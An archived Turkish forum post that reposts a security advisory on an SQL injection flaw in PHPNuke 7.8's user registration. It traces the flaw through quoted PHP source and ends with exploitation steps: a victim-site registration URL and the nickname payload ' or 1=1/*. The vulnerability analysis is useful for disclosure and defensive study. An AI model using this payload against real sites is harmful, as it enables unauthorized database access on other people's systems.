PHPNuke 7.8 SQL Atak Açığı

Bu başlık kilitlidir. Yeni mesajlar gönderilemez veya mevcut mesajlar düzenlenemez.
Onur OKTAY
18-02-2006, 11:55   |  #1  
OP Yıllanmış Üye
Teşekkür Sayısı: 0
169 mesaj
Kayıt Tarihi:Kayıt: Şub 2006

PHPNuke version : 7.8 with all security fixes/patches

Risk:Yüksek

Etki: Uzaktan kod çalıştırma

Bilgi : En çok kullanılan yazılımlardan birisi olan PHP yaziliminin nuke serisinin 7.8'i versiyonunda bitmek bilmeyen açıklar devam ediyor. Hacker'lar açıktan yararlanarak sistemlere uzaktan ataklar yapabiliyorlar.

Exploit :

Original code from index.php :
- ---------------------------------
...
function confirmNewUser($username, $user_email, $user_password, $user_password2, $random_num, $gfx_check) {
global $stop, $EditedMessage, $sitename, $module_name, $minpass;
include("header.php");
include("config.php");
filter_text($username);
$username = $EditedMessage;
$user_viewemail = "0";
userCheck($username, $user_email);
$user_email = validate_mail($user_email);
....
- -----------------------------------

Here we can see that there is filter_text() used on $query variable and later we have userCheck($username, $user_email); ,
Ok lets see function filter_text(); .
Orginal code from mainfile.php :
- ----------------------------------
function filter_text($Message, $strip="") {
global $EditedMessage;
check_words($Message);
$EditedMessage=check_html($EditedMessage, $strip);
return $EditedMessage;
}
- -----------------------------------
Here we have another function check_words($Message); , lets check this also :

Orginal code from mainfile.php :
- --------------------------------
function check_html ($str, $strip="") {
/* The core of this code has been lifted from phpslash */
/* which is licenced under the GPL. */
include("config.php");
if ($strip == "nohtml")
global $AllowableHTML;
if (!is_array($AllowableHTML)) $AllowableHTML =array('');
$str = stripslashes($str);
$str = eregi_replace("<[[:space:]]*([^>]*)[[:space:]]*>",'<\1>', $str);
// Delete all spaces from html tags .
$str = eregi_replace("<a[^>]*href[[:space:]]*=[[:space:]]*"?[[:space:]]*([^" >]*)[[:space:]]*"?[^>]*>",'<a href="\1">', $str);
// Delete all attribs from Anchor, except an href, double quoted.
$str = eregi_replace("<[[:space:]]* img[[:space:]]*([^>]*)[[:space:]]*>", '', $str);
// Delete all img tags
$str = eregi_replace("<a[^>]*href[[:space:]]*=[[:space:]]*"?javascript[[unct:]]*"?[^>]*>", '', $str);
// Delete javascript code from a href tags -- Zhen-Xjell @ http://nukecops.com
$tmp = "";
while (ereg("<(/?[[:alpha:]]*)[[:space:]]*([^>]*)>",$str,$reg)) {
$i = strpos($str,$reg[0]);
$l = strlen($reg[0]);
if ($reg[1][0] == "/") $tag = strtolower(substr($reg[1],1));
else $tag = strtolower($reg[1]);
if ($a = $AllowableHTML[$tag])
if ($reg[1][0] == "/") $tag = "</$tag>";
elseif (($a == 1) || (empty($reg[2]))) $tag = "<$tag>";
else {
# Place here the double quote fix function.
$attrb_list=delQuotes($reg[2]);
// A VER
$attrb_list = str_replace("&","&",$attrb_list);
$tag = "<$tag" . $attrb_list . ">";
} # Attribs in tag allowed
else $tag = "";
$tmp .= substr($str,0,$i) . $tag;
$str = substr($str,$i+$l);
}
$str = $tmp . $str;
return $str;
exit;
/* Squash PHP tags unconditionally */
$str = str_replace("<?","",$str);
return $str;
}
- ----------------------------------------
This function return $str variable but at the beginning of this function we can see
$str = stripslashes($str); .
So when we have in index.php :
filter_text($username);
this mean that on variable $username is used stripslashes();
Lower in index.php we can see :
userCheck($username, $user_email);
So another function userCheck(); that uses $username variable , lets see the code :

Orginal code from index.php :
- -----------------------------
....
function userCheck($username, $user_email) {
global $stop, $user_prefix, $db;
if ((!$user_email) || (empty($user_email)) || (!eregi("^[_.0-9a-z-]+@([0-9a-z][0-9a-z-]+.)+[a-z]{2,6}$",$user_email))) $stop = "<center>"._ERRORINVEMAIL."</center><br>";
if (strrpos($user_email,' ') > 0) $stop = "<center>"._ERROREMAILSPACES."</center>";
if ((!$username) || (empty($username)) || (ereg("[^a-zA-Z0-9_-]",$username))) $stop = "<center>"._ERRORINVNICK."</center><br>";
if (strlen($username) > 25) $stop = "<center>"._NICK2LONG."</center>";
if (eregi("^((root)|(adm)|(linux)|(webmaster)|(admin) |(god)|(administrator)|(administrador)|(nobody)|(a nonymous)|(anonimo)|(an#65533;nimo)|(operator)|(JackFrom Wales4u2))$",$username)) $stop = "<center>"._NAMERESERVED."</center>";
if (strrpos($username,' ') > 0) $stop = "<center>"._NICKNOSPACES."</center>";
if ($db->sql_numrows($db->sql_query("SELECT username FROM ".$user_prefix."_users WHERE username='$username'")) > 0) $stop = "<center>"._NICKTAKEN."</center><br>";
if ($db->sql_numrows($db->sql_query("SELECT username FROM ".$user_prefix."_users_temp WHERE username='$username'")) > 0) $stop = "<center>"._NICKTAKEN."</center><br>";
.......
- --------------------------------
In this function we see two sql queries :
SELECT username FROM ".$user_prefix."_users WHERE username='$username'
SELECT username FROM ".$user_prefix."_users_temp WHERE username='$username'

At last here now we can say : "Critical SQL injection "

Time to exploit this issue :
Go to : http://[victim]/[phpnuke_dir]/modules.php?name=Your_Account&op=new_user
And fill in all Fields but in Nickname: field enter : ' or 1=1/*
The Result is :




Kaynak: http://securityreason.com/news/0/0x11

Türkçe Metin : Onur OKTAY